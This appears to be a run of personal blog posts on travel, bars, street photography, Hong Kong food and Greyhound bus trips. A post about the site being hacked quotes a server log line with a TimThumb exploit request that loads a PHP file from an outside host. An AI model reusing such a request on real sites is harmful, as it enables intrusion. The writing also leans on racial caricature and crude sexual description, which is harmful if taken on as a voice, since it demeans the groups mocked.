It ain’t over till the sexy lady sips her Manhattan, Holy Headbuzz Batman! was it a good year for dames I’ll never see again and drinks I will remember for the rest of my life. The list of new bars on the map is a long one: New Orleans’ Checkpoint Charlies. San Antonio’s Esquire Tavern. Phoenix’s Bikini Lounge. Santa Monica’s Liquid Kitty (OK, this is an old one, but haven’t been in years). San Francisco’s Mission Bar. Portland’s Gold Dust Meridian. And since it’s always nice to sip that long island ice tea with the fairer sex, here are a few ladies from the long happy hour that was 2011.

Mushroom Hunting in Humboldt

Amanita Muscaria at Patrick's Point, Humboldt
Amanita Muscaria at Patrick's Point, Humboldt

Amanita Muscaria at Patrick’s Point, Humboldt

Patrick’s Point State Park in Humboldt County is a premier spot for surfing along the north coast of California, and is well known for being a great place for spotting all varieties of wild mushrooms. And though they may look pretty, they can be deadly. Thanks to Roger’s Mushrooms for providing a visual guide to not getting poisoned. Not exactly sure if my identifications are completely correct, so please feel free to comment if you have a mycological clue.

Street Photography Examined

USA_California_SanFrancisco_Tenderloin_Pigeons

“What happens when you interrogate yourself? What happens when you begin to call into question the tacit assumptions and unarticulated presuppositions and begin then to become a different kind of person?”

–Dr. Cornell West

Winterwear for young ladies in Shibuya

Winterwear for young ladies in Shibuya

I have long tried to get at the underlying philosophy of Street Photography. What is it exactly that makes a normal and decent human being (wait, I’m talking about photographers, i.e. not normal, decent, nor probably human) strap on a camera and and carry ten to twenty pounds of lenses, film (or ahem memory cards) and other essentials around in a bag to take pictures of perfect strangers on the streets of anytown, anycountry, earth?

Because it’s expensive, it’s intrusive, and well, there is something there that bothers me. Is street photography an ethic, a lifestyle, or merely a moment? Is it exploitative to photograph people without explicit permission? What do you do when people say NO! What if means a paycheck? Do it anyway?

Back off Mutha!

Back off Mutha!

  • Expense

Unless you are a Paparazzi trying to get a Lindsay Lohan nipslip, hack Scarlett Johansson’s phone, or you are on the ground with MSF in Mogadishu, your brand of Street Photography probably doesn’t pay all that well. Sure you may get a lot of attention on Flickr and Facebook and your Google analytics is off the chart for your hardcore, gritty, high contrast portrayal of Seoul, New York or Sydney, but how many jobs have you gotten from it? So, it’s a very expensive hobby and more likely a way to bond with other street photographers in the area. Either way, you’re in the red. And if you shoot digital, doubly so. Why? because digital photography costs more. A lot more. Ask your Macbook.

What is ok in the public domain?

What is ok in the public domain?We Need Paint?

  • Intrusion

Most photographers worth their salt know that within the public domain anything goes. Almost. In the United States, legally you can take a photo of anything happening anywhere outside. Basically. Unless it happens to be a potential terrorist target. Like a building. Or a bridge. That would make New York–and in the You-Are-Either-With-Us-Or-Against-Us modern age, most modern cities–a photography-free zone. In Japan, shooting with a tripod requires a similar permit to a commercial shoot and will be vigorously challenged by any and all senior citizen security guards with no real authority. Police across the globe can be vague about legalities, insulting, and even violent toward photographers who are demonstrating their right to record. And the average citizens you turn your lens on can all too quickly turn very ugly. Why is taking a photograph of people in public illegal in certain countries? Why is it that some people tend to hide or become aggressive when their pictures are taken? Is it the paranoid thought that this could end up making them look bad on the internet somewhere? The primitive fear that it may capture a part of their soul, never to be returned? Or something altogether different? Rather is it a moral question? Or a civil liberties issue? What about Google Earth? Satellites in general?

There is no Planet B

There is no Planet B

  • The Kernel of Doubt

Photojournalists help us see the world while reporting the news. War photographers risk their lives in the understanding that they can take a bullet for being in the middle of the action. Artists help us make sense of the chaos that clashes all around us. What is the legacy of the street photographer? What does he or she get from loitering in crowded public spaces in countries with low crime rates reeling off frame after frame of girls holding umbrellas? Chain-smoking touts with Bowie hair? Homeless in parks? What is the impetus for standing around holding a machine to your eye and clicking a button to record a fraction of the present, only to go home, unload the camera in the dark, develop, fix, water bath, hang, dry, cut and sleeve the negatives, to eventually hold them up to the light and print one, two or maybe five images? What process is served? What do we get from recording one particular moment in a sea of infinite times? Is this system an analog memory backup? Or do we merely seek kudos from peers and fans? Is the world so big and flush with memorable scenes that in order to grasp at understanding it we need to try to catalog its chaos?

Or is it capturing a specific scene? For many westerners, the neon lights and bleached blonde kewpie-doll gyaru’s of Shibuya seems to possess some kind of neo-modern allure. What Koichi Iwabuchi, says of “western observers of Japan…shared ontological assumptions about the West and the exotic but inferior Other, Japan. They were fascinated with some exotic parts of Japan, and lamented the loss of ‘authentic’ Japanese tradition in the process of modernisation.” Are we post-racist or is this still relevant?

The American Dream or Nightmare?

The American Dream or Nightmare?

  • Unexamined Life

Can you define it? Or define what it isn’t? Is it color? Or black and white? Grain or noise? Sex? Exoticism? And why am I so addicted to it? Why does it make me feel guilty? And similarly so satisfied?

Ultimately if I am not hurting anyone, does it matter?

BOP Retrospective 2005-2010

Hong Kong Burning - Inclusion in BOP Retrospective 2005-2010

“To take a photo just for taking a photo is pointless. The photographer is like a storyteller who helps the other to open the doors of their consciousness. We could call it a humanistic photography…”

                                                        — Reza, BOP Retrospective 2005-2010

Hong Kong Burning - Inclusion in BOP Retrospective 2005-2010

Hong Kong Burning – Inclusion in BOP Retrospective 2005-2010

Late in 2008 I was approached by a mysterious Frenchman I had recently made the acquaintance of while living in Tokyo, to have an guest exhibition on the BOP website. I had no idea what this actually meant, nor how serious the members of this photographic collective were. Did I need to do something in particular, make prints, eat stinky cheese or dance a jig? I was assured that I merely needed to provide a certain number of digital images, which is to say images shot with film and then digitized by a scanner so as to be uploadable to the pop format of the day–ze internet as the French say–as well as write a short artist’s statement on the images themselves. Any images would do, I was told, but I got the distinct feeling that a coherent set of connected images was to be expected. The arch of his eyebrow strongly suggested that in no way should I embarrass my newfound French friend in front of his collective compatriots, s’il te plait.

Bon, but wait, I asked myself, what is BOP? Some kind of nostalgic riff on Beatnik-era Jazz? Or a bunch of Pop Art collector-geeks who eat snails and sip wine with their little fingers in the air? Checking out their website, I quickly found out that BOP (Association Bricolages Ondulatoires et Particulaires) is a seven man collective based in France “whose goal is to promote film photography.”

I knew the word Bricolage loosely translates to “DIY” from an ex-girlfriend who was into esoteric Euro-punk and got pissed whenever I opened the door for her. I smashed my fist into my desk as I read more, “This space is very limited and it is hard to get a BOP exhibition. There are many criteria amongst which coherency is the most important in the BOP philosophy.” More than knowing that I needed to get busy, get an idea, get shooting, I realized I had the unimpeachable gut feeling that I had to go out and shoot. And now I knew what to shoot. So I grabbed my cameras, a few boxes of film and hopped a freighter to Hong Kong.

It wasn’t until May of 2009 that the BOP exhibition came to fruition. I culled a large cross-section of imagery from all of the then current Skylines Projects, including selections from Tokyo, Los Angeles, and Taipei, as well as Hong Kong. I was starting to see the light at the beginning of the tunnel. Not only did I have a massive project underway, I had several individual series of projects within the larger scope of the main project, which I entitled Skylines. The Skylines Hong Kong Project has been exhibited in Tokyo and the Skylines Tokyo Project will soon be exhibited in Hong Kong.

BOP Retrospective 2005-2010

BOP Retrospective 2005-2010

Fast forward to 2011 and it was with great pleasure that I was able to meet up with the Frenchman once again, this time in California. As we sat at a local vinyard in the Sonoma countryside nibbling on cheese and a bit of local wine, he handed me a book. Before getting a good look at it I knew what it was. I thumbed through the smooth matte pages snatching glimpses of selections of exhibitions from all seven BOP members. I neared the back and saw a section entitled, Guest Members Retrospective, with an early description of the Skylines project and the Hong Kong Burning opposite. We clinked glasses, “Santé!”

I went back to the front and saw that Reza, the National Geographic Photographer, wrote the Preface to the BOP Retrospective 2005-2010:

“I was fourteen years old when my father offered me my first camera. Confined in the bathroom of our family home, I familiarized myself with the beauty of the revealed image. The combination of chemicals was recomposing the prism of my eyes and printing fleeting moments on paper. I discovered the power of photography. The black box became my best ally for my whistleblower desire, my companion in my quest of the Other. It never left me except when I became inprisoned for having stuck my photos on the walls of the Tehran University to expose the Shah’s Regime abuses. I spent three years locked in a cell, tortured, but this experience didn’t break me, never damaged my certainty that what I was doing was right.”When the Islamic Revolution hit Iran in 1979, I was there, to tell stories of a New Era, a new country with new rules. I wanted to show to the rest of the world how dangerous humankind could be for itself. Later, because of that, I had to leave my land, exiled to other latitudes to continue my crusade for a better world. For thirty years, I’ve been in many battlefields, I met people on every continent but I also proved that my gaze upon the world was a way to understand it. The impact of a photo is reduced to nothing if there is no intention behind. It has to call for reaction, to provoke thought, to be more than a picture printed on a support. The photographer is an external element who must share and experience other people’s worlds…To take a photo just for taking a photo is pointless. The photographer is like a storyteller who helps the other to open the doors of their consciousness. We could call it a humanistic photography…I understand why the photographers of BOP decided to create their partnership around these values…The priority is given to the quality and not the quantity.

“An old Persian poet from the 13th century, Saadi Shirazi wrote a poem which became the motive of the United nations. I also use it for my foundation Aina“:

Human beings are members of a whole,
In creation of one essence and soul.
If one member is affected with pain,
Other members uneasy will remain.
If you’ve no sympathy for human pain,
The name of human you cannot retain.

“Everyone can have an impact on the human community, everyone can share what makes his difference. The reporters have a mission, one of survival that includes taking time with patience, waiting in the shadow for the perfect light, the moment which will illuminate the scene, humanity revealed. BOP is more than its principle ‘Do It Yourself’, it’s seven men for seven gazes. They offer us the possibility to cross lines and borders, to enter a philosophy of life that could be ours, they offer us the world.”

Thanks Reza and thank you members of BOP. Keep spreading the light.

The Trip Overland Hacked via the Timthumb Vulnerability

The Berkeley Sky at Night (Manny Santiago) (Manny Santiago)

On the road there is little time for anything other than catching glimpses out of the corner of your eye along the speeding road of the blurred trees and the slower moving mountains at the far-off horizon line. There isn’t an opportunity to jack in, hook up, dose out online. When you are working out on the road and your only Wi-Fi connection is still 500 miles away in the next Motel 6, how do you protect yourself? A better, more wider ranging question might be: how do you keep what you put out into the world safe from those who would do harm?

After getting back from a summer trip to New Orleans, I got a job in Northern California and was off the grid, so to speak, for a few day, camping, kayaking and shooting long exposures of stars at night. Getting back to reality I received the following message from my hosting company:

We need to inform you that your hosting account for willwalkforsex.com has been hacked and used to run illegal software on the server. Here is how the hackers have exploited your account:

87.118.92.112 – - [17/Aug/2011:08:43:18 -0400] “GET /wp-content/themes/xxxxxxxxx/includes/timthumb.php?src=http://flickr.com.wikicenter.net/php/echo.g.php HTTP/1.1″ 200 827 “http://www.enchantedhillsweddings.com/wp-content/themes/DeepFocus/timthumb.php?src=http://flickr.com.wikicenter.net/php/echo.g.php” “Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.8) Gecko/20071008 Firefox/2.0.0.8″

To secure your website, and to avoid similar incidents in future, you will have to upgrade any third party software you are using on your account to the latest versions. Also, if you are using any custom scripts, please secure them as soon as possible.

Here is a full rundown of the timthumb vulnerability.

I had always assumed that hacker’s wouldn’t (or shouldn’t rather) be interested in sites like mine. Why would they? Is there any reason for them to use this site other than as gateway protection to buffer them from their real target? Their real target being offshore holdings of some monolithic corporation or secret plans housed in an underground government facility. Why The Trip Overland? [shakes fist at sky whilst muttering, "I'll get you yet!"]

Anyway, apologies for the downtime (those of you who actually noticed!). We’re back up and running at at least 68%. More to come.

The Berkeley Sky at Night (Manny Santiago)

The Berkeley Sky at Night

The Skylines Photographic Project – Hong Kong

View From Victoria Peak, Hong Kong

Skylines is a photographic work-in-progress focusing on the communities in which we reside and the lines, sometimes invisible sometimes not, that connect us. This project began in Hong Kong in 2007 documenting how we layout, build, maintain and ultimately view ourselves within the large-scale cityscapes in which we move to and fro, work and live, love and kill. Suggesting not only what we see before us but also the larger and more mysterious nature of the cities and therefore the societies that we make, as well as their reverberations spreading outward from the center to the fringes. I remain fascinated by exploring new places with my camera and a few rolls of film, after which revisiting old places provides me a parallax perspective, fresh ideas and new insight into how we continue to add to the world of our forefathers and mothers.

Hong Kong is a perfect example of a seemingly finite universe in which a quite small amount of land has been pointed toward a certain kind of efficiency–building up and down rather than outward–in effect searching for ways to find space within rather than without. With its background as imperial playground and now its multi-cultural identity going far to define it as China-but-not, Hong Kong is a perfect place to get (very) lost and still feel warmly surrounded and enclosed by people of all makes and models.

Shrine to all the Night bats

Shrine to all the Night bats

KOWLOON is a big beautiful sewer, awash with gorgeous rats. Humid and rife with an armada of smells in her harbor: smells of the sea and shit, dim sum and diapers, tobacco and Tsing Tao. I’m staying where I always stay in Asian cities: in the ghetto with the illegals and no names, foreigners and prostitutes, criminals and the working class- a crowd which Jesus would approve, the lifeblood as it were, and then there are the ubiquitous touts on every corner proffering fake Rolex, real hash, faux Gucci, real women, ersatz Versace, real annoyance- this is Nathan Road. I am targeted for my pigment, my melanin. 8 of 10 apparently being too dark-skinned to be dollar rich, the random Brit and I (not together mind you) walking the wide crowded boulevard, remain the only recipients of such special offers as Pressure Point foot massages, exquisitely tailored almost-Armani suits and of course the superfluous Chinese Virgin…”Comes with the set meal!” I expect to hear next, yet somehow don’t. The thought arises concerning job security in this latter category, though knowing the Chinese’s affinity for their daughters, most likely not something to give a lot of thought to.

Here in this part of the city, on these long traversive roads, one tends to walk faster than any double-decker tourist special. One weaves and bobs like a prize fighter in training, with that special glint in the eye focusing toward some future destination. Though if those eyes should linger too long on any would be prize, if too much interest be shown in any merchandise, human or otherwise, the possibility of being pestered and followed for blocks by a neverending flow of Indian, Pakistani, Nigerian or other-blooded touts looms too large for comfort. So I walk on, turn corners, round blocks, repeat, retrace, I check out a possible restaurant in two to three passes before committing, whereupon I do not stand outside like some pasty German in overly tight safari shorts with his fat wife gawking at the plastic display. No. But rather walking in, in full stride, head up high with eyes scanning, sitting as strategically as possible (for a potentially quick getaway should it be needed) and I order the local beer as quickly as possible.

The truth is I enjoy all these things- the dirt, the constant pestering, the humidity, the walking, the smell of the earth, the sweat, blood, and genitals all intermingling in intimate proximity to fellow humans, swarthy or not. Though they reside at the periphery of my journey, though I pass them by, they too matter. They also are part of the process. For what I seek is simple, friends. What I seek is food. And no matter how much shit I have to trudge through to reach my destination, sometimes known sometimes not, I shall pass.

Family waiting for a cab in Kowloon

Family waiting for a cab in Kowloon

As diverse as Hong Kong is English is everywhere. Good English too, at least compared to the Japanese. The Chinese are Asia’s consummate businessmen and thusly realize the power of properly utilized linguistics. Most any restaurant I walk in to has an English menu, albeit offering slightly inflated prices, telling me of the: oceans of shrimp, ox tail, beef tongue, pork neck, duck wing, camel hoof, shark fin, turtle soup- the tranlation of which leads me to actually knowing what I shall soon be served as opposed to (yet another) bout of random pointing at Chinese Characters, because though the businessmen of Hong Kong do know their English, the citizenry have yet to learn word one, nor do they care to, especially the wait staff, it would seem.

Having gotten my beer and a roomful of odd stares from the customers (none of whom are drinking anything but tea with their dinner), I down a few glasses of the ice cold Tsing Tao and kick back, preparing the various soy and sweet chili sauces. But here comes my order- nothing fancy for dinner- BBQ prawns fried in sugarcane, the Vietnamese veggie harumaki- fat thumbsized bastards all of them, come with a plate of lettuce the mama-san mimes me to wrap the spring roll in and then dip in the strong chili paste, and finally my weakness, some octopus tentacles. It’s the BBQ prawns which I can’t get out of my head, the taste off my tongue. Here comes the second order, blindingly hot wrapped around thick chunks of bamboo, hot and sweet, washed down with a second tallboy of Tsing Tao. Visions of cows and their two stomachs float by, but I’ve already ordered more than usual, so I finish my beer and pass on, rolling a smoke outside and venturing onto the next joint.

Turtle soup in Kowloon

Turtle soup in Kowloon

The Chinese are nighthawks, up all hours selling, buying, eating, drinking, smoking, touting, pimping, dealing, doubledealing, even perhaps loving. The opportunity for good food, good photos, strange conversations, illicit meetings, dark alley connections, neon-lit exclamations, convenience store forays, porn-mag expeditions, brothel looksees neverends. Then there’s still the endless sidewalk running alongside this British-dubbed Nathan Road, walled in on all sides by a million different nationalities, all vying for one more Hong Kong Dollar. Well friends, tonight I’m buying. Anyone know a good place for snake, boar, bear, pigeon or raccoon at 5am?

The day starts a deep dark gray and seems to settle that way, as if it likes it just fine. The streets wet from rain or the perpetual sweat the city secretes from its myriad glands, I cannot tell. The touts at their posts already, yawning yet with eyes apeel for the day’s fresh white meat. Sipping a mango smoothie, I makeway through morning traffic with one thing on my mind: dim sum. A local points me toward Happy Market Noodle Factory recommending the congee. I find it, walk in and sit while the mama-san impatiently taps her foot as I sip my tea and take in the 10 page menu she just slammed down on the sticky table.

I say “Beer” motioning big as she husks off whispering something to the other 8 waitresses lounging about beneath strange posters of various mostly deep-fried flora and fauna, all looking eerily similar. I need the time it takes her to get my beer so as to justify my slow perusal of the menu’s breadth and overall depth of selection. I imagine myself a fortune cookie maker: “One must take their time when ordering so as not to miss the menu’s secret backalley specials.” Somewhere a gong carols. Birds flap off. A baby cries.

Mama comes back and I know another drink won’t keep her from tossing me out, so I order a mudfish congee to appease her and keep scanning, my eyes jitterbugging back and forth past typical boring, safe tourist fare. I linger a bit over sharkfin soup, but can’t bring myself to sanction such brutality. The oxball dumplings in oyster sauce with braised bokchoy sounds good. Never had testicals before. Penis yes. Testes no. That’ll serve nicely as an apres-main and for the second course…it’s then I see it, big and posterized above a waitress picking her nose: Deep Fried Pigeon.

Deep Fried Pigeon in Kowloon

Deep Fried Pigeon in Kowloon

My choice is made. Screw dim sum. I. Must. Have. Pigeon. My mouth, which before had merely been expecting testicles, now goes into salivary overproduction mode. My belly rumbles and rolls in anticipation. My fingers even begin surreptitiously to move toward my lips, preparing to be licked. As if a sudden case of low blood sugar has set in, I have the shakes. I’m flushed and prickly. My dick is hard.

I head to the bathroom to steady myself, throw water on my face. Looking in the mirror I flash on my ex-girlfriend and her vocal disgust for what she termed “flying rats”. What would be her reaction to my breakfast choice: would she hug me to her bosom for ridding the world of one more foul beast or revile me in disgust for putting such a vile, dirty creature across my lips?

Shrugging, I head back to my table, passing the kitchen, full of a fresh delivery of duck carcasses, some brown and crispy-skinned, others pale and limp, all piled next to various heaps of pig legs, necks, feet, cow tongues, ox tails, and what look like a bevy of genitalia all queued up for the big Oakround cutting board and that mad-eyed Kahn lookalike with the cleaver in his hand and blood on his apron. Steam floats about in all directions, whistling and shooting like from old locomotives, while small, angular men in white wield knives with deadly accuracy, moving with a precision memorized by muscles years ago. There is no waste. Not in animal nor in preparation. It is a pleasure to watch.

It is only then I notice my the pounding in my ears. Suddenly everything’s sped up. My pulse ascending to double beats. Blood rushing to the surface of my clammy skin. My walk is thick and loud like slow motion through a bog. I imagine MSG poisoning feels like this. Was the bear liver I had yesterday bad? The Panda anus not quite bacteria free?

It’s nothing. Nerves. Excitement. Sexual rush. I get back to my table and, steaming and popping in grease rivulets, here comes my pigeon. It’s smaller than I expected, though defeathered, what isn’t? As it’s served whole (it’s fried little head, eyes and beak rendered so perfectly…adorable) I glance at my chopsticks, then at the bird, then at my steady surgeon hands and I have at it, dropping the chopsticks and tearing into it. Literally ripping it in half and sucking all I can out of its fried little ass. There are no barriers anymore.

I flay the skin from its neck and, peeling up and over the head, I bite down until it breaks between my teeth, sucking out all the marrow from the neck bones. I slurp at the eyes, test the beak, chaw on the spine. I want to consume it whole. And not for my ex and for anyone who ever hated on one of these so-called winged rodents, but instead to take the yoke off of its much maligned back and put it on mine. Suddenly I see a light. I hear beautiful singing. And then I know.

View From Victoria Peak, Hong Kong

View From Victoria Peak, Hong Kong

From now on little fellow, in eating you, in consuming you whole, sins and all, I relieve you of your earthly burdens and take them for myself. From this point forward Brother Pigeon, I feel your pain, just like all the clawed, taloned, hoofed, scaled and winged animals I have taken your deliciousness into my body and allowed to strengthen me in my journey to rid the world of treachery toward our collective. Thank you, brother, for your life, tasty as it was, given unwillingly, has now become mine and until I can no longer eat another of your winged kin, can step no longer to the cutting board to declaw you, can no longer chew my own food, I will live this life in strength and peace, pursuing wisdom and offering respect to all those who seek to enlighten us on our collective journey down the Right Path.

High Sierra Music Festival 2011

The 21st High Sierra Music Festival held annually in Quincy, a lost little town in the early reaches of the Plumas National Forest, just south of Lassen National Forest in the beginning of the Cascade Range that runs all the way north to Mt. Garibaldi in British Columbia, becomes a Shangri-La of music, food, beer and people every fourth of July. I volunteered with Sierra Nevada Brewing to pour beer in return for sun, suds and sumptuous ladies in the Sierra Nevada woods and rivers. The sweet mountain air. The crisp clean water. The hot red sun. And music for days.

Highlights from the festival include:

My Morning Jacket • Ween • Neko Case • Yonder Mountain String Band • Maceo Parker • Chris Robinson Brotherhood • Dr. Dog • ALO • Beats Antique • Ivan Neville’s Dumpstaphunk • Ernest Ranglin • Bill Frisell’s Beautiful Dreamers • Rebirth Brass Band • The Travelin’ McCourys • Los Amigos Invisibles • MarchFourth Marching Band • Pimps of Joytime • Big Gigantic • Spanish Bombs featuring Chuck Prophet and Chris Von Sneidern performing London Calling By the Clash • Youssoupha Sidibe and the Mystic Rhythms Band • Elephant Revival • He’s My Brother She’s My Sister • Diego’s Umbrella

Riding the Dog – Across America by Greyhound Bus

Riding the Dog – Across America by Greyhound Bus
Riding the Dog - Greyhound Travel in the U.S.A.

Riding the Dog – Greyhound Travel in the U.S.A.

Come on, Bryce. There are a lot more important problems than Sri Lanka to worry about.”

“Like what?”

“Well, we have to end apartheid, for one, slow down the nuclear arms race, stop terrorism and world hunger. We have to provide food and shelter for the homeless…and oppose racial discrimination and promote civil rights, while also promoting equal rights for women. We have to encourage a return…to traditional moral values. Most importantly, we have to promote general social concern…and less materialism in young people.

– Patrick Bateman, American Psycho

Unless you are Jay-Z relaxing with a topless Beyonce singing Happy Birthday Mr. President on your own private Cote d’Azur beach, traveling is never as easy as it sounds. Most people take an overbooked flight, stumble sweaty and confused around the baggage claim for an hour, lie their way through customs, overpay a taxi to deliver them to a room where they collapse onto the 50 / 50 Modacrylic and “Warden” wool blend flame retardant military style blanket and bedcover of the overpriced hotel near—not on—the beach, which gets overrun with roving gangs of displaced orphans and wild packs of dogs as soon as the sun sets. “Where’s the fine Italian linen on damask-patterned Swiss cotton, honey?” goes the calm discussion before voices raise to “Jellyfish have a season and it’s now?” and “All pleasure cruises have been canceled due to naval exercises?” finally makes you realize that it’s not just futile, but you should have paid better attention to your Lao Tzu fortune cookie philosophy, “A good traveler has no fixed plans, and is not intent on arriving.”

At this point, every spot beautiful enough to be considered “vacationable” has had the dregs of its native population bought and moved off (or just outright slaughtered), been developed by multinational hotel conglomerates and fruit / sugar plantationers, the local wildlife poached to the fringes (but you can still find their iconic shapes adorning folk art and crafts gangs of young orphans pressed into service by their pimps will exhort you to buy), but don’t worry, wherever you go, no matter how odd it may actually be, there will either be elephant or camel rides for the kids.

Maybe you know all this. So you avoid the hassles and pratfalls of d.i.y. travel by taking a group tour of Thailand, a family friendly visit to South Africa, or an active adventure excursion to Egypt. What about a cultural journey to Peru’s Machu Picchu? Or perhaps you are ahead of the game: an avid ecotourist who understands the precarious nature of the environment’s delicate balance and prides themselves on low-impact, culturally-sensitive travel which benefits local communities and the host country?

…now I’m awake and I’ve got whores, drugs and politics on my mind. Should be a great ride.

You may have been weaned on buses in Latin America, you may have road travel down to a science in Southeast Asia, or done safari to Kilamanjaro and beyond, but would you dare venture into the United Sates of America by Greyhound? Let me forewarn you now, whatever adventures you may have survived in your youth, the one thing you do not want your children to grow up to do is to ride the bus. I’m not referring to the yellow school buses with tinted windows and air conditioning, no. Those are a rite of passage. The bus you want to avoid is the one you get on when you get knocked up in Pittsburgh and need to get to your cousin’s in Chicago on $27.50 and a prayer. This is the bus John Walsh references you were last seen boarding after getting cut from the Appalachian League Pulaski Mariners. This is the coast to coast interurban-interstate motorcoach local to hell, with service at Mictlan, Tartarus, Xibalbá, Hades, Sheol, Gehenna, Jahannam, Avici, Naraka, Diyu, all Nine Rings, the River Acheron (exact change please) the Lake of Fire and Cocytus, no transfers. This is the bus that drives through the heart of an unclean fire into a desperate cold, moving as fast as it can before it implodes. This is the mirror put up to America’s dark shadow and what is shown back at us is not pretty.

The truth happens outside of New York, after disembarking at the City of Brotherly Love, where the east coast salt belt traffic corridor opens up into the shrinking cities of the Rust Belt, when the economics doesn’t demand proper customer service etiquette. Perpetually late, tired and harassed in ways similar to rendition, taking a trip on the Greyhound intercity bus lines serving North America, is more than getting a front row seat of the state of the actual union, it’s taking your life in your hands. Here in the too narrow seats with their too little legroom for the burgeoning American waistline you are subjected to conditions not unlike those described by prisoners held in Abu Ghraib: yelling, cursing, threats of violence, bright lights, darkness, extreme temperatures, long-winded and demeaning lectures, forced disembarkation in dangerous conditions, intimidation, and fistfights. The modern day Greyhound bus is a micro portrait of the country at large. It’s an exciting and frightening way to see the “real America” without seeing any of the country at all.

Sometimes those flyover zones are worth seeing...

Sometimes those flyover zones are worth seeing…

Sooner or later (or not at all) your driver will come on over the loudspeaker and talk about the rules. Depending on their personality, socio-economic background, verbosity, caffeine intake, this will either rehash what all of these regular riders have been hearing since the first grade or it will take on a new I’m-an-Individual-too-Mutha-Fucka accenture which will evoke howls from the peanut gallery. My favorite, from a deep-south black woman of less than five feet in stature and more than two hundred pounds in girth, went something like this:

‘Lo ya’ll and welcome onboard my Greyhound. My name is Shawnda and I be yo’ driver to Indianapolis. So don’t be tryin’ no funny stuff, ‘coz we got ourselves a ways to go tonight, yes honey. Now let ya’ll and me get something straight and we’ll both be jes’ fine: For everyone’s safety n’ comfort, there is NO SMOKING on this bus. I repeat no smoking! No smokin’, no tokin’, no rollin’, no bowlin’, no basin’, no blazin’, no bakin’ or toastin’ of anything legal or illegal at all. No cigs, no butts, no darts, no fags, no cancer sticks, no coffin nails, no joints, this is no joke. I am serious as a heart attack ya’ll. I got me an air vent up here come right out by my nose connected to the bafroom, so I will know if you even think of lightin’ up anythang, ANY-THANG, am I clear? I have a zero tolerance for alcohol, weapons and unruly behavior, meanin’ sex, drugs and rock n’ roll. I smell anythang but yo’ stinky feet up here and I will stop this bus and ya’ll be walking in the middle of a corn field. Speakin’ of stinky feet, keep your shoes on.”

All that is true, I mean ‘very word, but let’s get to what you can do. Coz’ we got a long trip together and it’a be better for all o’ us if we can get along. Radios, laptops and other electronic items may be carried on board, but do not, DO NOT, disturb your fellow passengers. Use your radio headsets, headphones, earphones, or ear buds, but no singin’, or hummin’, no whistlin’ or mouthin’ your favorite movie or song. Jes’ be quiet and keep it to yo’self, please and thank ya.”

After what could be minutes, hours or days of the recurrent cycles of napping and waking in the alternating dark and light between Sliding Hill and Elyria, Elkhart and Aurora relationships begin to form, small communities and cultures build within your immediate seating area. Much like prison, bonds are formed quickly and factions can arise within hours. Despite Shawnda’s rhythmic warnings to the contrary the cliques rise around those who play mp3s and watch movies on their phones for all to hear, amongst them the joke tellers, the non-stop talkers, the pregnant, the gangster-wannabes, the elderly, the sleepers, the snorers, the whores, the starers, the Latino families, the shifty-eyed, the obese, the insane, the lepers, and the junkies. Occasionally a foreign traveler or the shut-eyed suburbanite might wander on to one of these buses out of curiosity or financial hardship and will recount the tale as a landmark turning point in their lives: BG (Before Greyhound) and AG (After Greyhound). After riding the dog across country, Amtrak begins to look like personal limousine service.

It’s after midnight and we are other side of Cleveland. The bus is dark as we lumber down Interstate 71 heading into Columbus. The relative silence the bus had sunk into is broken by the woman seated behind me not trying too hard to stifle her howling laughter and crude comments pointed at another woman seated across from her giving head beneath a jacket to the man sitting next to her. Once you know what’s going on it’s hard not to see out of your peripheral sight the outline of a head repetitively pumping up and down like an oil derrick. The lights of passing cars and billboards illuminate the ghostly outline of the public sex act and coupled with all the usual sounds of sex plus the eerie and fake pay-attention-to-me-because-my-parents-never-did laughter, the whole event is not unlike being at an old adult theater watching Rob Zombie’s horrific remake of the cult classic Goldie Goes Greyhound. Either way, now I’m awake and I’ve got whores, drugs and politics on my mind. Should be a great ride.

Stop Less. Go Mope.

Stop Less. Go Mope.

Bumping our way through central Indiana road surrounded by farmland, I became aware of voices shouting from the back of the bus. A strange odor seemed to waft forward. A plume of invisible burnt glass smelling smoke emanating from the bathroom barely preceded Shawnda’s roar of “Muthafuckas!” as she abruptly edged the large Motor Coach Industries 102D3 onto the shoulder and pounded the air brakes into a loud skreech. She quickly unbuckled and drew back her protective plastic barrier, and 180′d into the aisle, her demure knuckles showing hard as her hands grasped the back of each seat she passed. “One of you muthafuckas been smokin’ in my bathroom. Now what I tell you? It’s a long ride to Indy and one of you is makin’ it longer for all of us. Now who is it?”

From behind a few pointed in my general direction.

“You, up, now!” Tiny, rotund Shawnda, bus driver to hell was about to take her wrath out on the impish she-bitch behind me.

“It wan’t me, I swear.”

“I can smell you bitch. Up now. Get yo’ bag an’ get offa my bus!” the bulk of her midsection shook into my shoulder and trapped my forearm on the rest. My eyes widened in disbelief mere inches away from her massive right breast. God, I thought, what engineering miracle of a bra that can withhold such magnificent and terrible mammaries!

The succubus whined, “But we in the middl’a nowhere?”

“I ain’t care. I warned ya. Didn’t I warn ya? Everyone, didn’t I warn ya’ll?”

Like a first grade class in unison, “Yes!”

“I didn’t do it. It was him. He has a knife.” she pointed at the guy across the aisle, Mr. blow job, who just smiled and shrugged. Shawnda looked at him, then back to the demon spawn, “Up, bitch, an’ get offa my bus ‘fore I call the cops!”

That got her attention. She rose slowly, her legs trembling, and reached into the overhead compartment for her bag. “Fine. I got ‘nother one under.”

“Get yo’ skinny junkie ass off my bus now!”

She must actually have a ventilation pipe up by her chair, but I truthfully didn’t know how Shawnda could smell anything. Intimate inches away from her, all I could catch were traces of the top notes of the aromatic citrus in her perfume, and the alkali scent of her relaxer.

Shawnda turned and sidled back to the front of the bus where with a puch of an air-powered button, the door opened with a relieving shoosh. The woman hesitated and then followed slowly, surely wondering what the hell she would do next. Shawnda trundled down the stairs and out the door, immediately turning right and walking halfway down the length of the bus, disappeared from view as she bent over and unlocked the luggage undercarriage and lifted the door, which covered the lower half of the window for two rows of seats. The woman edged her way down to the last step of the open door and peered out into the corn field nothingness surrounding. Shawnda turned and yelled something at the woman. The woman approached her and pointed into the luggage compartment, waiting for Shanwda to turn her back before swinging down at her with the edge of her fist. From my vantage point I could see through the tinted window as her face changed from pale surprise to sadistic grin. She began swinging wildly, arms flailing at Shawnda’s bulk, bent over and rendered invisible by the raised door. The entire bus shook as everyone shifted over to the right to watch in voyeuristic glee. Shawnda emerged from below the door, turned and swung hard at her attacker, landing a solid blow to her jaw that made the woman stumble back in obvious shock. Shawnda ran at her, ramming into her midsection like a linebacker tackling a running back, both of them falling into the rows of corn just off the side of the road. The shouts of the crown inside the bus increased as Shawnda managed to crawl on top of her and land another blow.

